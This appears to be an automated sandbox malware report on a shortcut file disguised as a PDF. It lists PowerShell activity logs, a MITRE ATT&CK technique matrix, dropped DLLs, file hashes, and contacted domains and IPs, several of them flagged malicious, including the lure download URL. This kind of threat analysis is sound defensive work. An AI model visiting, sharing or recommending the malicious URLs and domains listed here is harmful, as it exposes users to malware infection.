Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip VolumeInformation

Source: C:\Windows\System32\OpenSSH\ssh.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Email Collection	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	21 Virtualization/Sandbox Evasion	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Extra Window Memory Injection	1 Rundll32	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	15 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Source	Detection	Scanner	Label	Link
https://download-695-18811-018-webdav-logicaldoc.cdn-serveri4731-ns.shop/Documents/Instruction_695-18014-012_Rev.PDF.lnk	0%	Avira URL Cloud	safe

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\mv44vish.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\mv44vish.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\MOG_Framework_2.2.14_vc10.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.AspNetCore.Razor.Language.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.Azure.Management.Storage.Fluent.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.NET.Sdk.Publish.Tasks.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.TestPlatform.VsTestConsole.TranslationLayer.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.VisualStudio.Setup.Download.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.VisualStudio.VisualC.Utilities.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\WRServices.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\WzWXFmfire64.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\_Fs.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\libmp4_plugin.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\mc_dec_mp2v.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\mc_mfimport.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\mlib_image.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\msvcp80.dll	0%	ReversingLabs

Name	IP	Active	Malicious	Reputation
download-695-18811-018-webdav-logicaldoc.cdn-serveri4731-ns.shop	104.21.87.24	true	false	unknown
flac.mindful-journal.shop	172.67.219.192	true	true	unknown
static.klipmybekoe.shop	104.21.80.60	true	true	unknown
www.google.com	142.250.181.68	true	false	high
klippetamea8.shop	104.21.92.22	true	false	unknown
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.211.22	true	false	high
klipmybekoe.shop	104.21.80.60	true	true	unknown
s3-eu-north-1.travelguide-techtrends.com	104.21.70.44	true	true	unknown
windows.msn.com	unknown	unknown	false	unknown
XKZCtENCHPCpteQS.XKZCtENCHPCpteQS	unknown	unknown	false	unknown
x1.i.lencr.org	unknown	unknown	false	high
www.irs.gov	unknown	unknown	false	unknown
ntp.msn.com	unknown	unknown	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.19.227	unknown	United States	15169	GOOGLEUS	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	true
172.217.17.35	unknown	United States	15169	GOOGLEUS	false
172.217.17.46	unknown	United States	15169	GOOGLEUS	false
104.21.87.24	download-695-18811-018-webdav-logicaldoc.cdn-serveri4731-ns.shop	United States	13335	CLOUDFLARENETUS	false
104.114.72.170	unknown	United States	20940	AKAMAI-ASN1EU	false
172.67.219.192	flac.mindful-journal.shop	United States	13335	CLOUDFLARENETUS	true
84.201.211.22	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	Poland	34390	NPLAYTELEKOM-AS-PONPL	false
104.78.188.188	unknown	United States	16625	AKAMAI-ASUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.21.80.60	static.klipmybekoe.shop	United States	13335	CLOUDFLARENETUS	true
52.6.155.20	unknown	United States	14618	AMAZON-AESUS	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
64.233.162.84	unknown	United States	15169	GOOGLEUS	false
23.195.39.65	unknown	United States	20940	AKAMAI-ASN1EU	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
204.79.197.203	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
2.18.80.170	unknown	European Union	6762	SEABONE-NETTELECOMITALIASPARKLESpAIT	false

Private

IP
192.168.2.18

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1573288
Start date and time:	2024-12-11 19:12:22 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://download-695-18811-018-webdav-logicaldoc.cdn-serveri4731-ns.shop/Documents/Instruction_695-18014-012_Rev.PDF.lnk
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	48
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Detection:	MAL
Classification:	mal100.troj.expl.evad.win@82/84@16/105

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.227, 172.217.17.46, 64.233.162.84
Excluded domains from analysis (whitelisted): fs.microsoft.com, clients2.google.com, accounts.google.com, clientservices.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Timeout during stream target processing, analysis might miss dynamic analysis data
VT rate limit hit for: https://download-695-18811-018-webdav-logicaldoc.cdn-serveri4731-ns.shop/Documents/Instruction_695-18014-012_Rev.PDF.lnk

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\63c344f8-adac-437b-b839-a8764de6e861.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.957552463005916
Encrypted:	false
SSDEEP:
MD5:	09F0E60FB76A6CF6E38D64BE72F6AC81
SHA1:	0D394EC464ABD8B7027B76758CD1CD1FF53FB9EA
SHA-256:	60D0C8954D3073832F58ECEBA95F6FF35C6244FA4F7147259129E2C8E7982AA8
SHA-512:	5D9827657C8568AEBB80A7472E58483A1DDD33DA6AC75A3C2788B88ABE96F30E7C7FAEDACB442692252441D3F1BC784176BA06EBB9DB2FFCB47C2736F835C24D
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341148831376991","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":148280},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.18","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	09F0E60FB76A6CF6E38D64BE72F6AC81
SHA1:	0D394EC464ABD8B7027B76758CD1CD1FF53FB9EA
SHA-256:	60D0C8954D3073832F58ECEBA95F6FF35C6244FA4F7147259129E2C8E7982AA8
SHA-512:	5D9827657C8568AEBB80A7472E58483A1DDD33DA6AC75A3C2788B88ABE96F30E7C7FAEDACB442692252441D3F1BC784176BA06EBB9DB2FFCB47C2736F835C24D
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341148831376991","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":148280},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.18","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241211181358Z-194.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 117 x -152 x 32, cbSize 71190, bits offset 54
Category:	dropped
Size (bytes):	71190
Entropy (8bit):	3.516007180281008
Encrypted:	false
SSDEEP:
MD5:	D601D16C65F584DB6D4889DA74BEAEC6
SHA1:	B10286DF137E8E752DD15FE3B9865C3411F4A2E1
SHA-256:	54933AE9ED7C309714166C91F9AF62FC8F75791B64D8DE8664797ED8703E5C46
SHA-512:	91428779D7EB2EE48EC6D5CAD8FC00DB193896D69CC3FDD4244E5A59A7E7A3D6B5B6203738CBC04C3E3FBC7F59601386B5CA37D9A457FA3443089E467648B92D
Malicious:	false
Reputation:	unknown
Preview:	BM........6...(...u...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.44501788404238
Encrypted:	false
SSDEEP:
MD5:	26AD203F93968AE210C4DE53AB8761EB
SHA1:	D05B6727B6DDE9627277B07BE079D72FF0D8DF15
SHA-256:	EAB121017473D4F2C30312A421448F0AD76EB8304081A4C720E7A85AE79E6894
SHA-512:	54568D63DF56433E412CE79DD0686978F340DE2AC7E5BB6C310DFFCF37CA271C6BF823A3B827EDB6134D77A6F5B04A483C9C52705FB2146B0F6A889AF85C73C7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7740652528460914
Encrypted:	false
SSDEEP:
MD5:	B46516BB58CCA7651B823E6181062E3E
SHA1:	7318558E006E59FECE1EA7DF1F97B0C9513A7618
SHA-256:	0AAC37FC26BEE5B5516A2ED8EE771D9416CACA024A41124F9A31EA51D99787C3
SHA-512:	F4AABDA26FC55F95EEC2E8D02FCE638D5EF3FACB083520DC2F16F940F6615EA7C868D8A26F3268DD764603C240AAEA3DE7CE81A421A6F12749220B60A5CA0419
Malicious:	false
Reputation:	unknown
Preview:	.... .c........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Reputation:	unknown
